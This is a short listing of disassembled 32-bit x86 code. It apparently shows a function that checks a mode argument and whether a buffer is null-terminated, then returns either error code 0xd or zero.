mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x10021a3d
cmp eax, 2
jne 0x10021a4f
mov eax, dword [ebp + 0x10]
test esi, esi
je 0x10021a5d
test eax, eax
je 0x10021a5a
cmp byte [eax + esi - 1], 0
je 0x10021a5d
pop edi
mov eax, 0xd
pop esi
pop ebp
ret 0xc
mov byte [esi], 0
mov dword [edi], eax
xor eax, eax
pop edi
pop esi
pop ebp
ret 0xc